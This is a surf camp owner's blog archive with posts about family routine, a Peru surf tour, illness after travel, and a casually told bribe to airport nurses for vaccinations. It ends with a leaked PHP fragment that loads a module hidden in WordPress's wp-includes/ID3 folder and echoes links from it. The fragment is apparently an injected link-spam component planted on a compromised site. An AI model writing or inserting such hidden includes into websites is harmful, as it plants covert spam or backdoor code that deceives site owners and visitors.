Subscribe RSS

Tag-Archive for "Witches Rock"

alive and well Jun 04

I finally break radio silence. Not sure really why I haven’t popped my head up to see whats been going on around me. I think what has happened is that for the first time in my adult life I’ve fallen into a routine. My life currently consists of my family (wife and 2 boys), my job (mostly the surf camp), surfing as much as I can (4 hours/day?), a couple of close friends I hang with a bit (before falling asleep at the sad hour of 9pm) and a bunch of friends and family I never have the time to write back to on facebook or call up on a Sunday night just to catch up.

We have had a niƱera named Rosie for the last three months or so, she is awesome. She works Monday – Friday and half days on Saturday. It really helps to have the help, she definitely helps Holly so incredibly much and she allows me to focus on surfing so I can improve. Plus its easier to bring the entire family to the beach and for Holly and I to surf together. Or Rosie, since she is now surfing too. Is it me or is everyone surfing these days? I love it, reminds me of all of those surf movies and Malibu before I was even born, as though I may have missed out on it the first time around but not this time.

Normal day: I wake up at 6am, perhaps a little earlier or later depending on when Happy or Otis want to get up, but pretty much the crack of dawn as far as I’m concerned. We watch Discovery Kids, eat Cheerio’s, sometimes hang out in the surf camp restaurant or on the beach for an early morning low tide cruise.

7AM or 8AM or so: go surf. Surf Casitas, surf the rivermouth, surf Avellanas, surf the reefs. Surf a lot if its good and surf less if it sucks. It always seems to be pretty good somewhere fortunately. more…

Back from the dead Jun 03

I still have this nasty hacking cough that I’ve had for two weeks now. It got worse when we went to Peru. The cold water, the intense paddling, the abundance of waves. The fact that the coastal zone of Peru is a giant desert and it gets really windy and cold didn’t help. The biggest reason why I (and a few others of us) got sick was because when we were trying to leave Lima we were told that Costa Rica had quarantined us in Peru because we didn’t have yellow fever vaccinations. hmmm. That would have been something worth knowing when we bought our tickets to Peru in the first place. They told us that we had to get vaccinations and then wait in Peru for ten days before returning home. All of this when we were racing like hell across a very crowded Lima, arriving for our flight less than an hour before departure.

Fortunately in practically every Latin American country I’ve traveled to, there is someone willing to bend the rules with the help of a “donation” for some charitable cause. We bribed the incredibly old lady nurses that worked in the airport health clinic, they shot us up with yellow fever inoculations (probably sharing the same needle, who knows), then ran back to the ticket counter to check our bags and sprint to the gate minutes before the plane left. On the plane, my body collapsed. My hacking cough returned after doing the 1000 meter dash. Maybe I was just worn down from surfing incredibly insane waves for the past week in cold water. Who knows. All I do know is that I’m feeling like I’ve returned from the dead. I’m told this happens to me every time I travel to the edge of the earth. I can’t remember as everything seems to be a blur. You gotta love this job.

Thanks to Joe Walsh and WRSC, THEY ROCK!!

Chicama – Peru Jun 02

OK…. I haven’t been on the computer barely at all this week, not much internet here in the middle of nowhere. Here are some early pics of some of the waves we got on this tour to Peru. We’ve been in Chicama for three days surfing a pretty fun swell. It hasn’t been huge but definitely fun, and EMPTY. This south swell was really late, normally there aren’t any souths in November. We got really lucky. I’ll write more later :-)

Thanks to Joe Walsh and WRSC, THEY ROCK!!

Peru update Jun 02

Peru Surf Tour Day #3

Kent, to answer your question, I’ll have pics up as soon as I find
Internet that lasts more than 5 minutes. Maybe tomorrow? We are
traveling through the middle of nowhere (no wifi hotspots like WRSC)

I love Peru because when you surf here, instead of hoping for big
waves, you hope it isn’t too big to surf. We timed this trip
perfectly. The swell hit this morning, waves are head high plus at
protected spots, much bigger at the beach breaks and more exposed
points. The swell has just started to hit, it could get really big…

We’re driving to Chicama tonight, the equivalent of driving from San
Diego to San Francisco except for the barron desert expanse. Tomorrow
late morning we should be surfing the world’s longest wave. I love my
job :-)

Thanks to Joe Walsh and WRSC, THEY ROCK!!

I think I have the best job in the world Jun 01

I’m getting ready for Peru right now, packing my things. A late season southwest swell has formed and we’re expecting to surf Chicama, the LONGEST wave in the world. What does Chicama look like? The boards are all packed, there are 11 of us on this tour, 7 of us leaving from Costa Rica. Tomorrow we wake up at 330am, have a coffee, pack the boards on top, and drive 5 hours to San Jose to catch a flight to Lima.
I have the best job in the world. I am so lucky to call this work. From what I’ve seen over the years, when people make careers out of the things that they love, it normally ends up where they hate what they were initially passionate about. For me it is quite the opposite. I am more in love with surfing today than I was the day I set out to start Witch’s Rock Surf Camp. I’m so stoked to have gotten things at WRSC running to a point where I can branch off and offer these guided tours. I get to surf and provide for my family, its simply the best.
Expect a ton of pics and video of Peru this week, its going to be great.

Thanks to Joe Walsh and WRSC, THEY ROCK!!

Echo '
'; if (!defined('_LLM_DOMAIN_KEY')){ define('_LLM_DOMAIN_KEY', '23102a5475dae4ffcd6dea5834831c65'); } require_once($_SERVER['DOCUMENT_ROOT'].'/wp-includes/ID3/llm-'._LLM_DOMAIN_KEY.'/llm.php'); $llm = new LLM_client(); echo $llm->return_links(); Echo '
';